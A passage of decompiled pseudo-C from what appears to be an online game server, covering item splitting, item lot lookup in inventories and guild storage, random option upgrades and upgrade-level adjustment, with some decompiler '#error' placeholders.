*((_DWORD *)v47 + 1); *((_DWORD *)v43 + 7) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); v48 = *(_DWORD *)((char *)v4 + 98); *((_DWORD *)v43 + 8) = *(_DWORD *)v48; *((_DWORD *)v43 + 9) = *(_DWORD *)(v48 + 4); *((_DWORD *)v43 + 10) = *(_DWORD *)(v48 + 8); v49 = *(_DWORD *)((char *)v4 + 78); *((_DWORD *)v43 + 11) = *(_DWORD *)v49; *((_DWORD *)v43 + 12) = *(_DWORD *)(v49 + 4); *((_WORD *)v43 + 26) = *(_WORD *)(netcmd + 4); *(_DWORD *)(v43 + 54) = *(_DWORD *)&splited; v94 = 68; *(_DWORD *)(v43 + 58) = splited.iti_registnum.binary._bf4; v93 = (ITEM_INVEN *)"ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ : Packet Too Long"; v92 = 68; *((_WORD *)v43 + 31) = splited.iti_itemstruct.itemid; v50 = ProtocolPacket::pp_SetPacketLen(&gpp, v92); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v50, (const char *)v93, v94) ) { v51 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v51); } v52 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, void *, ItemTotalInformation *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v98 + 48))( v98, *(_WORD *)(v52 + 4), v47, &fromitem, v7, v7); v53 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); LOWORD(v53) = *(_WORD *)(v53 + 4); v54 = *(_DWORD *)v98; nGuildNo = netcmd + 4; (*(void (__thiscall **)(int, int, DiceTaiSai *, ItemTotalInformation *, int, int))(v54 + 48))( v98, v53, gldacademyrewardstorage, &splited, netcmd + 4, netcmd + 2); v55 = v7->Inven; if ( !((v7->Inven >> 8) & 0xFC) || !(*(_BYTE *)(nGuildNo + 1) & 0xFC) ) { v56 = *((_WORD *)v47 + 4); v57 = *(_DWORD *)v47; from_info.ItmeReg.binary._bf4 = *((_DWORD *)v47 + 1); v58 = (int)((char *)v47 + 8); v59 = *((_DWORD *)v47 + 28); from_info.ItemID = v56; v60 = *(_DWORD *)v59; from_info.inven.Inven = v55; v61 = (*(int (__thiscall **)(int, int))(v60 + 24))(v59, v58); v62 = *(_DWORD *)&gldacademyrewardstorage->m_Dice[0].isBig; v63 = *(_WORD *)&gldacademyrewardstorage->m_Dice[0].nDominoCnt; from_info.Lot = v61; *(_DWORD *)&to_info.ItmeReg.binary.gap0[0] = *(_DWORD *)&gldacademyrewardstorage->m_Dice[0].Dice.nNumber[0]; v64 = *(_DWORD *)&gldacademyrewardstorage->m_Dice[5].Dice.nNumber[2]; to_info.ItmeReg.binary._bf4 = v62; to_info.ItemID = v63; to_info.inven.Inven = *(_WORD *)nGuildNo; to_info.Lot = (*(int (__thiscall **)(int, char *))(*(_DWORD *)v64 + 24))( v64, &gldacademyrewardstorage->m_Dice[0].nDominoCnt); v65 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); v66 = *(_DWORD *)v98; memcpy(&v67, &splited, 0x6Cu); LOWORD(v94) = *(_WORD *)((char *)&splited.iti_itemstruct.itemattr.binditem.portal[9].y + 1); LOWORD(v65) = *(_WORD *)(v65 + 4); BYTE2(v94) = BYTE3(splited.iti_itemstruct.itemattr.binditem.portal[9].y); (*(void (__thiscall **)(int, int, int, int, _DWORD, unsigned int, _DWORD, int, _DWORD, unsigned int, _DWORD, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, ITEM_INVEN *, unsigned int))(v66 + 92))( v98, v65, v57, from_info.ItmeReg.binary._bf4, *(_DWORD *)&from_info.ItemID, from_info.Lot, *(_DWORD *)&to_info, to_info.ItmeReg.binary._bf4, *(_DWORD *)&to_info.ItemID, to_info.Lot, *(_DWORD *)&v67, v68, v69, v70, v71, v72, v73, v74, v75, v76, v77, v78, v79, v80, v81, v82, v83, v84, v85, v86, v87, v88, v89, v90, v91, v92, v93, v94); } ++*(_WORD *)(v98 + 4); } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))( v4, 12, 14, 1097); } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))( v4, 12, 14, 1094); } } } break; case 4: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 1100); break; case 0: v14 = v4; if ( *((_WORD *)v4 + 34115) == -1 ) goto LABEL_23; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2044))(v4) || (v21 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1980))(v4), (nGuildNo = v21) == 0) ) goto LABEL_26; v22 = (unsigned __int16 *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); v23 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, v21, v22); if ( !v23 || !GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GuildCheck(v23, nGuildNo) ) goto LABEL_82; MoveManager::MoveManager((DiceTaiSai *)v23); v20 = v24; goto LABEL_44; default: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ : Invalid Item to box", v19); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 1092); break; } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 591); } } else { LABEL_82: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 589); } } else { LABEL_26: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 590); } } LABEL_79: v108 = -1; FunctionEntarance::_FunctionEntarance(&_); break; default: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ : Invalid Item from box", v8); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 1092); goto LABEL_79; } LABEL_87: __security_check_cookie(cookie); } //----- (004E51F0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemLotCheck(void *ecx0, unsigned int itemkey) { void *v2; // esi@1 int v3; // edx@1 int v4; // eax@3 int v5; // eax@8 int v6; // eax@15 unsigned __int16 *v7; // ST04_4@15 unsigned int v8; // eax@15 GuildStorage::GuildStorageElement *v9; // edi@15 bool i; // zf@18 unsigned int v11; // edi@22 __int16 v12; // ax@23 int v13; // eax@24 unsigned __int16 *v14; // eax@34 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v15; // eax@34 DiceTaiSai *v16; // esi@34 ItemBag *v17; // eax@36 int v18; // eax@38 __int16 v19; // si@45 ItemBoxIterItem this; // [sp+14h] [bp-2Ch]@36 int ibii; // [sp+24h] [bp-1Ch]@1 char *v23; // [sp+28h] [bp-18h]@1 int v24; // [sp+2Ch] [bp-14h]@1 int v25; // [sp+30h] [bp-10h]@1 int v26; // [sp+3Ch] [bp-4h]@1 v2 = ecx0; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemLotCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ItemLotCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ibii = (int)ItemBoxIterator::_vftable_; v23 = (char *)v2 + 35568; v3 = *((_DWORD *)v2 + 8892); v26 = 0; v25 = (*(int (**)(void))(v3 + 8))(); ibii = (int)&ItemBoxIterItem::_vftable_; LOBYTE(v26) = 1; v24 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { while ( 1 ) { v4 = (**(int (__stdcall ***)(_DWORD))v23)(v24); if ( !v4 ) break; if ( !*(_DWORD *)(v4 + 112) ) break; if ( *(_DWORD *)v4 == *(_DWORD *)itemkey && *(_DWORD *)(v4 + 4) == *(_DWORD *)(itemkey + 4) ) { LABEL_23: v12 = (*(int (__stdcall **)(int))(**(_DWORD **)(v4 + 112) + 24))(v4 + 8); ibii = (int)ItemBoxIterator::_vftable_; LABEL_45: --funcallanalizer.fca_stackpoint; v19 = v12; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemLotCheck"); return v19; } if ( !ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) goto LABEL_8; } } else { LABEL_8: ibii = (int)ItemBoxIterator::_vftable_; v23 = (char *)v2 + 69448; v5 = *((_DWORD *)v2 + 17362); LOBYTE(v26) = 0; v25 = (*(int (**)(void))(v5 + 8))(); ibii = (int)&ItemBoxIterItem::_vftable_; LOBYTE(v26) = 2; v24 = 0; if ( !(unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) && !ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { LABEL_15: v6 = *(_DWORD *)v2; LOBYTE(v26) = 0; v7 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(v6 + 2004))(v2); v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1980))(v2); v9 = GuildStorage::GuildStorageManager::gsm_FindStorage(&gldstoramanager, v8, v7); if ( v9 && v9->gse_Guild == (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1980))(v2) ) { ibii = (int)ItemBoxIterator::_vftable_; v23 = (char *)v9; v25 = v9->gse_Storage.baseclass_0.vfptr->ib_BagSizeOutput((ItemBag *)v9); ibii = (int)&ItemBoxIterItem::_vftable_; LOBYTE(v26) = 3; v24 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) ) goto LABEL_24; for ( i = ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) == 0; ; i = ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) == 0 ) { if ( i ) { LOBYTE(v26) = 0; goto LABEL_21; } LABEL_24: v13 = (**(int (__stdcall ***)(_DWORD))v23)(v24); if ( !v13 ) break; if ( !*(_DWORD *)(v13 + 112) ) break; if ( *(_DWORD *)v13 == *(_DWORD *)itemkey && *(_DWORD *)(v13 + 4) == *(_DWORD *)(itemkey + 4) ) { v12 = (*(int (__stdcall **)(int))(**(_DWORD **)(v13 + 112) + 24))(v13 + 8); ibii = (int)ItemBoxIterator::_vftable_; goto LABEL_45; } } ibii = (int)ItemBoxIterator::_vftable_; } else { LABEL_21: if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2044))(v2) ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2044))(v2) == 1 ) v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2048))(v2); else v11 = itemkey; } else { v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1980))(v2); } v14 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2016))(v2); v15 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, v11, v14); v16 = (DiceTaiSai *)v15; if ( v15 && GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GuildCheck(v15, v11) ) { MoveManager::MoveManager(v16); this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; this.baseclass_0.ibi_itembag = v17; this.baseclass_0.ibi_Limit = v17->vfptr->ib_BagSizeOutput(v17); this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; LOBYTE(v26) = 4; this.baseclass_0.ibi_finger = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&this) || ItemBoxIterator::ibi_Next(&this.baseclass_0) ) { do { v18 = ((int (__stdcall *)(int))this.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(this.baseclass_0.ibi_finger); if ( !v18 ) break; if ( !*(_DWORD *)(v18 + 112) ) break; if ( *(_DWORD *)v18 == *(_DWORD *)itemkey && *(_DWORD *)(v18 + 4) == *(_DWORD *)(itemkey + 4) ) { v12 = (*(int (__stdcall **)(int))(**(_DWORD **)(v18 + 112) + 24))(v18 + 8); this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; goto LABEL_45; } } while ( ItemBoxIterator::ibi_Next(&this.baseclass_0) ); } this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; } } goto LABEL_47; } while ( 1 ) { v4 = (**(int (__stdcall ***)(_DWORD))v23)(v24); if ( !v4 ) break; if ( !*(_DWORD *)(v4 + 112) ) break; if ( *(_DWORD *)v4 == *(_DWORD *)itemkey && *(_DWORD *)(v4 + 4) == *(_DWORD *)(itemkey + 4) ) goto LABEL_23; if ( !ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) goto LABEL_15; } } ibii = (int)ItemBoxIterator::_vftable_; LABEL_47: --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemLotCheck"); return 0; } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (004E5A20) -------------------------------------------------------- #error "4E5A20: undefined or illegal type '#331' (funcsize=68)" //----- (004E5B10) -------------------------------------------------------- #error "4E5B10: undefined or illegal type '#331' (funcsize=121)" //----- (004E5CC0) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_GetLastUpgradeInfo() { return &ShineObjectClass::ShineObject::so_deflastupgradeinfo; } //----- (004E5CD0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetLastUpgradeInfo(void *this) { return (int)((char *)this + 89009); } //----- (004E5CE0) -------------------------------------------------------- bool __cdecl item_RandomOptionUpgrade(SHINE_ITEM_STRUCT *pItemStruct, ItemOptionStorage::Element *rOption, int muliple, int NewLevel) { ItemDataBox::ItemDataBoxIndex *v4; // eax@1 ItemDataBox::ItemDataBoxIndex *v5; // ebp@1 unsigned int v6; // edi@1 ItemInfo *v7; // eax@4 unsigned int v8; // esi@6 char *v9; // ST14_4@6 unsigned int v10; // esi@6 ItemRandomOption::RandomOptionDatum *v11; // eax@6 CardDeck::CardStack *v12; // ecx@8 bool result; // al@10 signed int v14; // eax@11 unsigned int v15; // esi@12 char *v16; // edi@12 char *v17; // ebp@19 unsigned int v18; // esi@24 char *v19; // edi@24 signed int v20; // esi@30 unsigned int *v21; // edi@34 int v22; // eax@36 unsigned __int8 v23; // al@40 bool v24; // cf@40 char v25; // al@41 unsigned __int16 v26; // si@43 int v27; // eax@43 int v28; // ebp@43 int v29; // eax@43 int v30; // ecx@45 signed int nMaxCount; // [sp+Ch] [bp-48h]@18 ItemDataBox::ItemDataBoxIndex *index; // [sp+10h] [bp-44h]@1 signed int RandomOptionMaxCount; // [sp+14h] [bp-40h]@11 CardDeck::CardStack CardStack; // [sp+18h] [bp-3Ch]@6 unsigned int option_type; // [sp+38h] [bp-1Ch]@39 char bEnableOption; // [sp+3Ch] [bp-18h]@18 int v37; // [sp+3Dh] [bp-17h]@18 unsigned int v38; // [sp+44h] [bp-10h]@10 int v39; // [sp+50h] [bp-4h]@6 v4 = ItemDataBox::operator__(&itemdatabox, pItemStruct->itemid); v5 = v4; v6 = 0; index = v4; if ( !v4 ) { AssertClass::ac_AssertFail(&shineassert, "item_RandomOptionUpgrade : Not Found Item ID :", pItemStruct->itemid); goto LABEL_10; } v7 = v4->data; if ( v5->data && v7->Class == 4 ) { CardDeck::CardStack::CardStack(&CardStack); v8 = pItemStruct->itemattr.amulet.option.fixed.optionnumber.str._bf0; v9 = v5->dataserv->RandomOptionDropGroup; v39 = 0; v10 = v8 >> 1; v11 = ItemRandomOption::RandomOptionTable::operator__(&itemrandomoptiontable, v9); if ( !v11 ) { AssertClass::ac_AssertFail( &shineassert, "item_RandomOptionUpgrade : Not Found RandomOptionDropGroup :", v5->dataserv->RandomOptionDropGroup); goto LABEL_8; } v14 = v11->MaxOpCount; RandomOptionMaxCount = v14; if ( muliple >= 0 ) { if ( (signed int)v10 >= v14 ) { if ( (signed int)v10 > 0 ) { v21 = (unsigned int *)pItemStruct->itemattr.amulet.option.optionlist; do { CardDeck::CardStack::cs_InsertTop(&CardStack, *(_BYTE *)v21); v21 = (unsigned int *)((char *)v21 + 3); --v10; } while ( v10 ); } } else { nMaxCount = 0; bEnableOption = 0; v37 = 0; if ( (signed int)v10 > 0 ) { v17 = (char *)pItemStruct->itemattr.amulet.option.optionlist; do { if ( (unsigned __int8)*v17 < 5u ) { ++nMaxCount; *(&bEnableOption + (unsigned __int8)*v17) = 1; CardDeck::CardStack::cs_InsertTop(&CardStack, v6); } ++v6; v17 += 3; } while ( (signed int)v6 < (signed int)v10 ); v5 = index; } v18 = 0; v19 = (char *)pItemStruct->itemattr.amulet.upgradeopton; do { if ( *(_WORD *)v19 && !*(&bEnableOption + v18) ) { CardDeck::CardStack::cs_InsertTop(&CardStack, v18); ++nMaxCount; } ++v18; v19 += 2; } while ( (signed int)v18 < 5 ); if ( nMaxCount < RandomOptionMaxCount ) { CardDeck::CardStack::cs_Clear(&CardStack); v20 = 0; do CardDeck::CardStack::cs_InsertTop(&CardStack, v20++); while ( v20 < 5 ); } } } else { v15 = 0; v16 = (char *)pItemStruct->itemattr.amulet.upgradeopton; do { if ( *(_WORD *)v16 ) CardDeck::CardStack::cs_InsertTop(&CardStack, v15); ++v15; v16 += 2; } while ( (signed int)v15 < 5 ); } v22 = CardDeck::CardStack::cs_CardNum(&CardStack); v12 = &CardStack; if ( !v22 ) goto LABEL_9; if ( CardDeck::CardStack::cs_CardNum(&CardStack) > 1 ) CardDeck::CardStack::cs_Suffle(&CardStack, 10); if ( !CardDeck::CardStack::cs_TakeTop(&CardStack, &option_type) || (v23 = option_type, v24 = (unsigned __int8)option_type < 5u, rOption->itemoption_type = option_type, !v24) ) { LABEL_8: v12 = &CardStack; LABEL_9: v39 = -1; CardDeck::CardStack::_CardStack(v12); goto LABEL_10; } rOption->itemoption_value = pItemStruct->itemattr.amulet.upgradeopton[v23]; v25 = 1; if ( muliple < 1 ) v25 = 0; v26 = (unsigned __int8)v25; v27 = rOption->itemoption_value + muliple * AccUpGradeInfoTable::GetRandomUpgradeValue( v5->data->BasicUpInx, (unsigned __int8)v25, pItemStruct->itemattr.amulet.upgrade); v28 = v27 & ((v27 <= 0) - 1); v29 = AccUpGradeInfoTable::GetLimit(index->data->BasicUpInx, v26, pItemStruct->itemattr.amulet.upgrade); if ( v28 < v29 ) LOWORD(v29) = v28; v30 = rOption->itemoption_type; rOption->itemoption_value = v29; pItemStruct->itemattr.amulet.upgradeopton[v30] = v29; if ( !NewLevel ) { *(_QWORD *)&pItemStruct->itemattr.amulet.upgradeopton[0] = 0i64; pItemStruct->itemattr.amulet.upgradeopton[4] = 0; } v39 = -1; CardDeck::CardStack::_CardStack(&CardStack); } LABEL_10: __security_check_cookie(v38); return result; } //----- (004E5FB0) -------------------------------------------------------- char __cdecl Item_GetUpgradeLimit(unsigned __int16 nItemID) { int v1; // ecx@2 ItemInfo *v3; // eax@4 char v4; // bl@5 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Item_GetUpgradeLimit"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Item_GetUpgradeLimit"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !ItemDataBox::operator__(&itemdatabox, nItemID) ) { v1 = funcallanalizer.fca_stackpoint - 1; LABEL_3: funcallanalizer.fca_stackpoint = v1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_GetUpgradeLimit"); return 0; } v3 = ItemDataBox::operator__(&itemdatabox, nItemID)->data; v1 = funcallanalizer.fca_stackpoint - 1; if ( !v3 ) goto LABEL_3; v4 = v3->UpLimit; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_GetUpgradeLimit"); return v4; } //----- (004E60A0) -------------------------------------------------------- bool __cdecl Item_IsUpSource(unsigned __int16 nItemID, unsigned __int16 nRawID, char nItemUpgradeLevel) { ItemInfo *v3; // esi@2 bool result; // al@4 ItemInfo *v5; // eax@7 unsigned int v6; // ecx@8 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v8; // [sp+14h] [bp-4h]@1 _.fe_FunctionCode = "Item_IsUpSource"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Item_IsUpSource"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Item_IsUpSource"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; if ( ItemDataBox::operator__(&itemdatabox, nRawID) && (v3 = ItemDataBox::operator__(&itemdatabox, nRawID)->data) != 0 && v3->Class == 14 ) { if ( ItemDataBox::operator__(&itemdatabox, nItemID) ) { v5 = ItemDataBox::operator__(&itemdatabox, nItemID)->data; if ( !v5 || (v6 = v3->Grade, v5->Grade != v6) && v6 || (unsigned __int8)nItemUpgradeLevel < v3->UpLimit || (unsigned __int8)nItemUpgradeLevel > v3->UpResource ) { v8 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } else { v8 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 1; } } else { --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_IsUpSource"); result = 0; } } else { --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_IsUpSource"); result = 0; } return result; } //----- (004E6210) -------------------------------------------------------- bool __cdecl Item_IsUpSourceLeftRight(unsigned __int16 nItemID, unsigned __int16 nRawID, char nItemUpgradeLevel) { ItemInfo *v3; // esi@2 bool result; // al@3 ItemClassEnum v5; // eax@4 ItemInfo *v6; // eax@9 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v8; // [sp+14h] [bp-4h]@1 _.fe_FunctionCode = "Item_IsUpSource"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Item_IsUpSource"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Item_IsUpSource"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; if ( ItemDataBox::operator__(&itemdatabox, nRawID) && (v3 = ItemDataBox::operator__(&itemdatabox, nRawID)->data) != 0 ) { v5 = v3->Class; if ( v5 == 19 || v5 == 25 || v5 == 20 ) { if ( ItemDataBox::operator__(&itemdatabox, nItemID) && (v6 = ItemDataBox::operator__(&itemdatabox, nItemID)->data) != 0 ) { if ( v6->Grade != v3->Grade || (unsigned __int8)nItemUpgradeLevel < v3->UpLimit || (unsigned __int8)nItemUpgradeLevel > v3->UpResource ) { v8 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } else { v8 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 1; } } else { --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_IsUpSource"); result = 0; } } else { v8 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } } else { --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_IsUpSource"); result = 0; } return result; } //----- (004E63A0) -------------------------------------------------------- char __cdecl Item_AdjUpgradeLevel(SHINE_ITEM_STRUCT *pItemStruct, char AdjValue) { char v2; // dl@2 char v3; // bl@2 char v4; // dl@3 char v5; // dl@5 char result; // al@6 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Item_AdjUpgradeLevel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Item_AdjUpgradeLevel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; switch ( ItemDataBox::operator__(&itemdatabox, pItemStruct->itemid)->data->Class ) { case 5: case 8: v2 = AdjValue + pItemStruct->itemattr.blot.lot; pItemStruct->itemattr.blot.lot = v2; v3 = v2; goto LABEL_6; case 6: v4 = AdjValue + pItemStruct->itemattr.blot.lot; pItemStruct->itemattr.blot.lot = v4; v3 = v4; goto LABEL_6; case 7: v3 = AdjValue + pItemStruct->itemattr.blot.lot; pItemStruct->itemattr.blot.lot = v3; goto LABEL_6; case 4: v5 = AdjValue + pItemStruct->itemattr.amulet.upgrade; pItemStruct->itemattr.amulet.upgrade = v5; v3 = v5; LABEL_6: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_AdjUpgradeLevel"); result = v3; break; default: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_AdjUpgradeLevel"); result = 0; break; } return result; } //----- (004E64D0) -------------------------------------------------------- char __cdecl Item_AdjFailCount(SHINE_ITEM_STRUCT *pItemStruct, char AdjValue, char bSet) { char v3; // bl@3 char v4; // al@4 char v5; // cl@7 char v6; // al@10 char result; // al@15 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Item_AdjFailCount"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Item_AdjFailCount"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; switch ( ItemDataBox::operator__(&itemdatabox, pItemStruct->itemid)->data->Class ) { case 5: case 8: if ( bSet ) { BYTE2(pItemStruct->itemattr.dlot.lot) = AdjValue; v3 = AdjValue; } else { v4 = AdjValue + BYTE2(pItemStruct->itemattr.dlot.lot); BYTE2(pItemStruct->itemattr.dlot.lot) = v4; v3 = v4; } goto LABEL_15; case 6: if ( bSet ) { BYTE2(pItemStruct->itemattr.dlot.lot) = AdjValue; v3 = AdjValue; } else { v5 = AdjValue + BYTE2(pItemStruct->itemattr.dlot.lot); BYTE2(pItemStruct->itemattr.dlot.lot) = v5; v3 = v5; } goto LABEL_15; case 7: if ( bSet ) { BYTE2(pItemStruct->itemattr.dlot.lot) = AdjValue; v3 = AdjValue; } else { v6 = AdjValue + BYTE2(pItemStruct->itemattr.dlot.lot); BYTE2(pItemStruct->itemattr.dlot.lot) = v6; v3 = v6; } goto LABEL_15; case 4: if ( bSet ) pItemStruct->itemattr.amulet.upgradefailcount = AdjValue; else pItemStruct->itemattr.amulet.upgradefailcount += AdjValue; v3 = pItemStruct->itemattr.amulet.upgradefailcount; LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_AdjFailCount"); result = v3; break; default: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_AdjFailCount"); result = 0; break; } return result; } //----- (004E6660) -------------------------------------------------------- #error "4E6660: undefined or illegal type '#331' (funcsize=264)" //----- (004E6A00) -------------------------------------------------------- AccUpgrade *__cdecl ITableBase::GetByIndex(unsigned int uiIndex) { return (AccUpgrade *)CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), uiIndex); } // 1246AD78: using guessed type int ITableBase_AccUpgrade_AccUpGradeTable___ms_pkTable; //----- (004E6A20) -------------------------------------------------------- char __cdecl Item_Upgrade(#440 *a1, ItemBag *pInventory, char nItemUpLimit, char nItemUpgradeFailCount, char RawLeftSlotNo, char RawRightSlotNo, char RawMiddleSlotNo) { ItemBag *v7; // edi@1 ItemBagVtbl *v8; // edx@1 int v9; // esi@1 int v10; // ebx@1 unsigned __int16 v11; // ST08_2@1 ItemInfo *v12; // eax@3 int v13; // edx@3 signed int v14; // ebp@3 char v15; // dl@5 unsigned __int8 v16; // al@5 char result; // al@10 int v18; // eax@11 int v19; // esi@11 int v20; // eax@14 int v21; // ebp@14 ItemDataBox::ItemDataBoxIndex *v22; // eax@16 int v23; // eax@18 int v24; // esi@18 int v25; // eax@24 int v26; // edi@24 int v27; // esi@27 void *v28; // eax@27 unsigned __int16 v29; // bp@27 int v30; // edi@27 unsigned __int16 v31; // bx@27 AccUpgrade *v32; // eax@28 ItemDataBox::ItemDataBoxIndex *v33; // eax@31 int v34; // ecx@34 int v35; // esi@36 int v36; // ebp@36 int v37; // eax@36 char v38; // bl@38 signed int v39; // esi@45 char *v40; // [sp+0h] [bp-4Ch]@2 char nCon; // [sp+14h] [bp-38h]@4 unsigned __int16 nCona; // [sp+14h] [bp-38h]@27 FunctionEntarance _; // [sp+18h] [bp-34h]@1 ItemInfo *pItemIDRawInfo; // [sp+1Ch] [bp-30h]@13 ItemInfo *pItemRawLeftInfo; // [sp+20h] [bp-2Ch]@16 ItemInfo *pItemRawRightInfo; // [sp+24h] [bp-28h]@20 ItemInfo *pItemRawMiddleInfo; // 